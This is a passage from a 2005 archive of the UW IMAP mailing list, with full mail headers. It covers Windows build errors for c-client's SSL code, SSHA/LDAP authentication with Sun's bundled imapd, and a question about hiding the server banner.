C2059: syntax error : ')' ssl_w2k.c(138) : error C2065: 'SCHANNEL_CRED' : undeclared identifier ssl_w2k.c(138) : error C2146: syntax error : missing ';' before identifier 'tlscred' ssl_w2k.c(138) : error C2065: 'tlscred' : undeclared identifier ssl_w2k.c(139) : error C2065: 'CERT_CONTEXT' : undeclared identifier ssl_w2k.c(139) : error C2065: 'cert' : undeclared identifier ssl_w2k.c(139) : warning C4552: '*' : operator has no effect; expected operator with side-effect ssl_w2k.c(140) : error C2065: 'CERT_CHAIN_PARA' : undeclared identifier ssl_w2k.c(140) : error C2146: syntax error : missing ';' before identifier 'chparam' ssl_w2k.c(140) : error C2065: 'chparam' : undeclared identifier ssl_w2k.c(141) : error C2065: 'CERT_CHAIN_CONTEXT' : undeclared identifier ssl_w2k.c(141) : error C2065: 'chain' : undeclared identifier ssl_w2k.c(141) : warning C4552: '*' : operator has no effect; expected operator with side-effect ssl_w2k.c(142) : error C2065: 'SSL_EXTRA_CERT_CHAIN_POLICY_PARA' : undeclared identifier ssl_w2k.c(142) : error C2146: syntax error : missing ';' before identifier 'policy' ssl_w2k.c(142) : error C2065: 'policy' : undeclared identifier ssl_w2k.c(143) : error C2065: 'CERT_CHAIN_POLICY_PARA' : undeclared identifier ssl_w2k.c(143) : error C2146: syntax error : missing ';' before identifier 'polparam' ssl_w2k.c(143) : error C2065: 'polparam' : undeclared identifier ssl_w2k.c(144) : error C2065: 'CERT_CHAIN_POLICY_STATUS' : undeclared identifier ssl_w2k.c(144) : error C2146: syntax error : missing ';' before identifier 'status' ssl_w2k.c(144) : error C2065: 'status' : undeclared identifier ssl_w2k.c(145) : error C2143: syntax error : missing ';' before 'type' ssl_w2k.c(146) : error C2143: syntax error : missing ';' before 'type' ssl_w2k.c(147) : error C2275: 'ULONG' : illegal use of this type as an expression C:\PROGRA~1\MICROS~3\VC98\INCLUDE\windef.h(43) : see declaration of 'ULONG' ssl_w2k.c(147) : error C2146: syntax error : missing ';' before identifier 'req' ssl_w2k.c(147) : error C2065: 'req' : undeclared identifier ssl_w2k.c(150) : error C2065: 'ISC_REQ_MANUAL_CRED_VALIDATION' : undeclared identifier ssl_w2k.c(151) : error C2275: 'LPSTR' : illegal use of this type as an expression C:\PROGRA~1\MICROS~3\VC98\INCLUDE\winnt.h(166) : see declaration of 'LPSTR' ssl_w2k.c(151) : error C2146: syntax error : missing ';' before identifier 'usage' ssl_w2k.c(151) : error C2065: 'usage' : undeclared identifier ssl_w2k.c(151) : error C2059: syntax error : ']' ssl_w2k.c(156) : error C2275: 'PWSTR' : illegal use of this type as an expression C:\PROGRA~1\MICROS~3\VC98\INCLUDE\winnt.h(154) : see declaration of 'PWSTR' ssl_w2k.c(156) : error C2146: syntax error : missing ';' before identifier 'whost' ssl_w2k.c(156) : error C2065: 'whost' : undeclared identifier ssl_w2k.c(157) : error C2143: syntax error : missing ';' before 'type' ssl_w2k.c(158) : error C2143: syntax error : missing ';' before 'type' ssl_w2k.c(159) : error C2275: 'sslcertificatequery_t' : illegal use of this type as an expression mail.h(1262) : see declaration of 'sslcertificatequery_t' ssl_w2k.c(159) : error C2146: syntax error : missing ';' before identifier 'scq' ssl_w2k.c(159) : error C2065: 'scq' : undeclared identifier ssl_w2k.c(160) : warning C4047: '=' : 'int ' differs in levels of indirection from 'long (__cdecl *)(char *,char *,char *)' ssl_w2k.c(161) : error C2275: 'sslfailure_t' : illegal use of this type as an expression mail.h(1263) : see declaration of 'sslfailure_t' ssl_w2k.c(161) : error C2146: syntax error : missing ';' before identifier 'sf' ssl_w2k.c(161) : error C2065: 'sf' : undeclared identifier ssl_w2k.c(161) : warning C4047: '=' : 'int ' differs in levels of indirection from 'void (__cdecl *)(char *,char *,unsigned long )' ssl_w2k.c(162) : error C2275: 'SSLSTREAM' : illegal use of this type as an expression ssl_w2k.c(44) : see declaration of 'SSLSTREAM' ssl_w2k.c(162) : error C2065: 'stream' : undeclared identifier ssl_w2k.c(164) : error C2223: left of '->tcpstream' must point to struct/union ssl_w2k.c(167) : error C2224: left of '.dwVersion' must have struct/union type ssl_w2k.c(168) : error C2224: left of '.grbitEnabledProtocols' must have struct/union type ssl_w2k.c(173) : error C2223: left of '->cred' must point to struct/union ssl_w2k.c(173) : warning C4133: 'function' : incompatible types - from 'union _LARGE_INTEGER *' to 'struct _SecHandle *' ssl_w2k.c(173) : error C2198: 'AcquireCredentialsHandleA' : too few actual parameters ssl_w2k.c(174) : error C2065: 'reason' : undeclared identifier ssl_w2k.c(174) : warning C4047: '=' : 'int ' differs in levels of indirection from 'char [34]' ssl_w2k.c(177) : error C2065: 'size' : undeclared identifier ssl_w2k.c(177) : error C2065: 'buf' : undeclared identifier ssl_w2k.c(177) : warning C4047: '=' : 'void *' differs in levels of indirection from 'int ' ssl_w2k.c(188) : error C2223: left of '->cred' must point to struct/union ssl_w2k.c(188) : error C2223: left of '->context' must point to struct/union ssl_w2k.c(188) : warning C4133: 'function' : incompatible types - from 'char *' to 'struct _SecHandle *' ssl_w2k.c(188) : warning C4047: 'function' : 'struct _SecHandle *' differs in levels of indirection from 'int ' ssl_w2k.c(188) : warning C4024: 'InitializeSecurityContextA' : different types for formal and actual parameter 2 ssl_w2k.c(189) : warning C4047: 'function' : 'unsigned long ' differs in levels of indirection from 'struct _SecBufferDesc *' ssl_w2k.c(189) : warning C4024: 'InitializeSecurityContextA' : different types for formal and actual parameter 5 ssl_w2k.c(189) : error C2223: left of '->context' must point to struct/union ssl_w2k.c(189) : warning C4047: 'function' : 'unsigned long ' differs in levels of indirection from 'unsigned long *' ssl_w2k.c(189) : warning C4024: 'InitializeSecurityContextA' : different types for formal and actual parameter 8 ssl_w2k.c(189) : warning C4133: 'function' : incompatible types - from 'union _LARGE_INTEGER *' to 'struct _SecHandle *' ssl_w2k.c(189) : error C2198: 'InitializeSecurityContextA' : too few actual parameters ssl_w2k.c(192) : error C2223: left of '->tcpstream' must point to struct/union ssl_w2k.c(192) : warning C4047: 'function' : 'char *' differs in levels of indirection from 'unsigned long ' ssl_w2k.c(192) : warning C4024: 'tcp_sout' : different types for formal and actual parameter 2 ssl_w2k.c(192) : error C2198: 'tcp_sout' : too few actual parameters ssl_w2k.c(192) : fatal error C1003: error count exceeds 100; stopping compilation _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Jul 20 12:09:13 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Jul 2005 12:09:13 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6KJ9Cf0014451 for ; Wed, 20 Jul 2005 12:09:12 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6KJ9BxS016694 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 20 Jul 2005 12:09:12 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6KJ93gV007746; Wed, 20 Jul 2005 12:09:03 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6KJ5CmW005630 for ; Wed, 20 Jul 2005 12:05:12 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6KJ5BWd013684 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 20 Jul 2005 12:05:12 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6KJ56UP018269 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 20 Jul 2005 12:05:06 -0700 Received: from Shimo-Tomobiki.panda.com (56-99-74-65.gci.net [65.74.99.56]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6KJ55mq014016 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 20 Jul 2005 12:05:06 -0700 Date: Wed, 20 Jul 2005 11:05:03 -0800 From: Mark Crispin To: Mike Trank Subject: Re: [Imap-uw] trouble building IMAP/C-CLIENT for Win32 In-Reply-To: Message-ID: References: Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Wed, 20 Jul 2005, Mike Trank wrote: > I've built IMAP and C-client *lots* of times on Unix/Linux and never had > any trouble. But trying to build on Win2k is driving me nuts. I have > installed the "Microsoft Platform SDK" and chose > "Complete" installation. I can see that the platform SDK's BIN directory > is in the PATH and also the include > directory is in the INCLUDE envvar, but I always get the compile errors > shown below. The compile errors that you report indicate that you do NOT have the complete Microsoft Platform SDK installed; you are missing all the definitions for Microsoft's encryption and certificate management support. The INCLUDE definition doesn't seem to have the SDK directories, which suggest to me that you don't have it set up. I think that you may have run this in an ordinary command window, instead of one of the special command windows for the Platform SDK. In the Start -> Programs menu under Microsoft Platform SDK, you should find some programs that put you in a command prompt with the SDK set up. Or, you can install the newer Visual Studio .NET 2003 instead of the VC98 that you're running now and not worry about it. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Jul 20 13:53:34 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Jul 2005 13:53:34 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6KKrXKt021275 for ; Wed, 20 Jul 2005 13:53:33 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6KKrXX2016322 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 20 Jul 2005 13:53:33 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6KKrJZr005378; Wed, 20 Jul 2005 13:53:19 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6KKrI5p005370 for ; Wed, 20 Jul 2005 13:53:18 -0700 Received: from xcgca810.northgrum.com (xcgca810.northgrum.com [208.12.122.34]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6KKrHRu016323 for ; Wed, 20 Jul 2005 13:53:18 -0700 Received: from xcgca800.northgrum.com ([157.127.103.70]) by xcgca810.northgrum.com with InterScan Messaging Security Suite; Wed, 20 Jul 2005 13:53:17 -0700 Received: from xcgv4800.northgrum.com ([158.114.112.124]) by xcgca800.northgrum.com with Microsoft SMTPSVC(5.0.2195.6713); Wed, 20 Jul 2005 13:53:16 -0700 Received: from XCGV4806.northgrum.com ([158.114.112.166]) by xcgv4800.northgrum.com with Microsoft SMTPSVC(5.0.2195.6713); Wed, 20 Jul 2005 16:53:15 -0400 X-MimeOLE: Produced By Microsoft Exchange V6.0.6603.0 content-class: urn:content-classes:message MIME-Version: 1.0 Date: Wed, 20 Jul 2005 16:53:15 -0400 Message-ID: <5DBAE64CD0928B44B45B6FAF5B03B902B3482B@XCGV4806.northgrum.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: IMAP With SSHA Thread-Index: AcWNbM95ZGb1IRWHTEGRkUuJm1/1/g== From: "Urciolo, Kevin" To: X-OriginalArrivalTime: 20 Jul 2005 20:53:15.0814 (UTC) FILETIME=[0CF32460:01C58D6D] X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __IMS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __TAG_EXISTS_HTML 0' Subject: [Imap-uw] IMAP With SSHA X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1599604276==" Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu This is a multi-part message in MIME format. --===============1599604276== content-class: urn:content-classes:message Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C58D6D.0CFB19EC" This is a multi-part message in MIME format. ------_=_NextPart_001_01C58D6D.0CFB19EC Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable I am using SFWimap on Solaris 8 sparc. I have run into a problem where it doesn't seem to work when passwords are stored in SSHA format in LDAP. How can I get these guys to work together? Can it work with SSHA? Could I point it to PAM? Or is there a better way? Thanks ------_=_NextPart_001_01C58D6D.0CFB19EC Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable IMAP With SSHA

    I am using SFWimap on Solaris 8 = sparc.  I have run into a problem where it doesn't seem to work = when passwords are stored in SSHA format in LDAP.  How can I get = these guys to work together?  Can it work with SSHA?  Could I = point it to PAM?  Or is there a better way?

    Thanks

    ------_=_NextPart_001_01C58D6D.0CFB19EC-- --===============1599604276== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --===============1599604276==-- From pinedev@shivax2.cac.washington.edu Wed Jul 20 22:02:10 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Jul 2005 22:02:10 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6L52AjJ015875 for ; Wed, 20 Jul 2005 22:02:10 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6L529Qe021329 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 20 Jul 2005 22:02:09 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6L51wtu020967; Wed, 20 Jul 2005 22:01:58 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6L51wA2020959 for ; Wed, 20 Jul 2005 22:01:58 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6L51vPc015320 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 20 Jul 2005 22:01:57 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6L51so6004774 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 20 Jul 2005 22:01:55 -0700 Received: from Shimo-Tomobiki.panda.com (56-99-74-65.gci.net [65.74.99.56]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6L51q4U025200 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 20 Jul 2005 22:01:54 -0700 Date: Wed, 20 Jul 2005 21:01:50 -0800 From: Mark Crispin To: "Urciolo, Kevin" Subject: Re: [Imap-uw] IMAP With SSHA In-Reply-To: <5DBAE64CD0928B44B45B6FAF5B03B902B3482B@XCGV4806.northgrum.com> Message-ID: References: <5DBAE64CD0928B44B45B6FAF5B03B902B3482B@XCGV4806.northgrum.com> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Wed, 20 Jul 2005, Urciolo, Kevin wrote: > I am using SFWimap on Solaris 8 sparc. I have run into a problem where > it doesn't seem to work when passwords are stored in SSHA format in > LDAP. How can I get these guys to work together? Can it work with > SSHA? Could I point it to PAM? Or is there a better way? SFWimap is not the UW IMAP server. I guess that you'll have to ask Sun (or whomever is the vendor of SFWimap) for help on configuring it to use PAM. UW imapd can be configured to use PAM. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Jul 21 06:24:44 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Jul 2005 06:24:44 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6LDOiVG009095 for ; Thu, 21 Jul 2005 06:24:44 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LDOf9n001752 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Jul 2005 06:24:42 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LDOPXL021373; Thu, 21 Jul 2005 06:24:25 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LDONEV021365 for ; Thu, 21 Jul 2005 06:24:23 -0700 Received: from zproxy.gmail.com (zproxy.gmail.com [64.233.162.202]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LDOMHj010011 for ; Thu, 21 Jul 2005 06:24:23 -0700 Received: by zproxy.gmail.com with SMTP id z31so137916nzd for ; Thu, 21 Jul 2005 06:24:22 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:from:to:subject:date:mime-version:content-type:content-transfer-encoding:x-priority:x-msmail-priority:x-mailer:x-mimeole; b=C8PItEyxvCFFryP7CVrAE7Oys3wBeQS/vSCVZ9CeaKSFmAArX5dlsm8XfPF3VLGXawhfjRnCIw6R2Kn9o+0ikxyK/Ael2WIYtwJXdPseAy8jWbNnw/1mDitpe4hBETnGbdzEMSpcsjE2HbTSwvT55ly+xFTe+Lk2WtLk0a0Qj7k= Received: by 10.36.154.10 with SMTP id b10mr973049nze; Thu, 21 Jul 2005 06:23:59 -0700 (PDT) Received: from user ([59.144.2.100]) by mx.gmail.com with ESMTP id 15sm623463nzp.2005.07.21.06.23.58; Thu, 21 Jul 2005 06:23:59 -0700 (PDT) Message-ID: <155701c58df7$74043b00$7f01a8c0@user> From: "KISHOR.MV" To: Date: Thu, 21 Jul 2005 18:53:55 +0530 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_MSMAIL_PRI 0, __HAS_X_MAILER 0, __HAS_X_PRIORITY 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] How to diable the X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu How disable the server banner ? I am using imap-2004d and the security scanner program says that my Imap4 and POP3 server provides server banners which is interesting for attackers " MAP4 server banner provides information to attacker " thanks kishor _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Jul 21 07:20:10 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Jul 2005 07:20:09 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6LEK9m5011798 for ; Thu, 21 Jul 2005 07:20:09 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LEK8pp018797 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Jul 2005 07:20:09 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LEJtL3025444; Thu, 21 Jul 2005 07:19:55 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LEJsGB025436 for ; Thu, 21 Jul 2005 07:19:54 -0700 Received: from ldap.eng.wayne.edu (ldap.eng.wayne.edu [141.217.202.31]) by mxe3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LEJpfp013304 for ; Thu, 21 Jul 2005 07:19:52 -0700 Received: from [141.217.204.111] ([141.217.204.111]) by ldap.eng.wayne.edu (8.12.9/8.12.9) with ESMTP id j6LEAua9026301; Thu, 21 Jul 2005 10:10:56 -0400 (EDT) Message-ID: <42DFAE74.6080409@eng.wayne.edu> Date: Thu, 21 Jul 2005 10:17:24 -0400 From: Brian Thompson User-Agent: Mozilla Thunderbird 0.8 (Windows/20040904) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mark Crispin Subject: Re: [Imap-uw] IMAP With SSHA References: <5DBAE64CD0928B44B45B6FAF5B03B902B3482B@XCGV4806.northgrum.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I think Kevin was referring to the Sun pkgadd name. Sounds like he's trying to install the version of UW imapd that Sun precompiles and includes on the Solaris Companion CD. For Solaris 8/Sparc that corresponds to UW imapd-2000b. -Brian Mark Crispin wrote: > On Wed, 20 Jul 2005, Urciolo, Kevin wrote: > >> I am using SFWimap on Solaris 8 sparc. I have run into a problem where >> it doesn't seem to work when passwords are stored in SSHA format in >> LDAP. How can I get these guys to work together? Can it work with >> SSHA? Could I point it to PAM? Or is there a better way? > > > SFWimap is not the UW IMAP server. I guess that you'll have to ask > Sun (or whomever is the vendor of SFWimap) for help on configuring it > to use PAM. > > UW imapd can be configured to use PAM. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > _______________________________________________ > Imap-uw mailing list > Imap-uw@u.washington.edu > https://mailman1.u.washington.edu/mailman/listinfo/imap-uw _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Jul 21 11:05:36 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Jul 2005 11:05:36 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6LI5ZNH026919 for ; Thu, 21 Jul 2005 11:05:35 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LI5Z6m020353 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Jul 2005 11:05:35 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LI5BgZ006263; Thu, 21 Jul 2005 11:05:11 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LI5A4L006255 for ; Thu, 21 Jul 2005 11:05:10 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LI5AWV029317 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 21 Jul 2005 11:05:10 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LI5995017124 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 21 Jul 2005 11:05:09 -0700 Received: from Shimo-Tomobiki.panda.com (56-99-74-65.gci.net [65.74.99.56]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LI58qx023817 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 21 Jul 2005 11:05:08 -0700 Date: Thu, 21 Jul 2005 10:05:06 -0800 From: Mark Crispin To: Brian Thompson Subject: Re: [Imap-uw] IMAP With SSHA In-Reply-To: <42DFAE74.6080409@eng.wayne.edu> Message-ID: References: <5DBAE64CD0928B44B45B6FAF5B03B902B3482B@XCGV4806.northgrum.com> <42DFAE74.6080409@eng.wayne.edu> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: 